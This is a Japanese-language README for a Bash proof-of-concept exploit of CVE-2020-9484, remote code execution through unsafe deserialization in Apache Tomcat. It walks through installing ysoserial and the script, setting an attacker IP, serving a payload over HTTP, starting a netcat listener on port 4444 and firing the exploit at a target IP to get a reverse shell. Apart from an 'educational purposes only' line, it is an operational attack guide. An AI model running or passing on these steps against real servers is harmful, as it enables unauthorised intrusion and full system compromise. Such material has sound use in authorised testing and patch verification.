
CVE-2020-9484 に対する Bash の概念実証エクスプロイト。Apache Tomcat のファイルアップロードにおける安全でないデシリアライゼーションを介したリモートコード実行を可能にし、リバースシェルペイロード生成機能を備えています。
Apache Tomcat 9.0.27 は、CVE-ID CVE-2020-9484 によりリモートコード実行に対して脆弱です。他のバージョンも影響を受ける可能性があります。Kali 2020.4 および JDK 8 でテスト済みです。この bash スクリプトはシンプルな概念実証です。教育目的のみでご利用ください。
この脆弱性により、リモートの攻撃者はターゲットシステム上で任意のコードを実行できます。
この脆弱性は、アップロードされたファイル名内のシリアル化データを処理する際の安全でない入力検証に起因します。リモートの攻撃者は特別に細工されたファイル名をアプリケーションに渡し、ターゲットシステム上で任意のコードを実行できます。
この脆弱性の悪用に成功すると、脆弱なシステムが完全に侵害される可能性がありますが、サーバーが FileStore を使用する PersistenceManager を使用するように構成されており、攻撃者がストレージの場所からの相対ファイルパスを知っている必要があります。
スクリプトを使用するには、yoserial が必要です。インストールするには:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
既に yoserial をインストールしている場合は、必ず "yosorial-master.jar" にリネームしてください。
スクリプトをインストールするには、次のように入力します:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
ヘルプメニューを開くには、次のように入力します:
./CVE-2020-9484.sh --help
または
./CVE-2020-9484.sh -h
まず、スクリプトを開き、14行目に自身のIPアドレスを設定します:
remote_ip="10.10.16.180" # change this
このスクリプトは、現在のディレクトリに "payload.sh"、"downloadPayload.session"、"chmodPayload.session"、"executePayload.session" というファイルを作成します。エクスプロイトを使用するには、ポート80でシンプルなリスナーを起動する必要があります。例えば、Python3 を使用する場合(スクリプトを実行するのと同じフォルダで開始):
sudo python3 -m http.server 80
また、ポート4444で netcat リスナーを起動してください:
nc -nvlp 4444
次に、攻撃したいターゲットシステムのIPアドレスを指定してスクリプトを実行します:
./CVE-2020-9484.sh target-ip
動作しない場合は、JDK 8 を使用していることを確認してください。使用しているバージョンを確認するには、次のように入力します:
java -version
JDK バージョン12以上では動作しない可能性があります。詳細はこちらをご覧ください。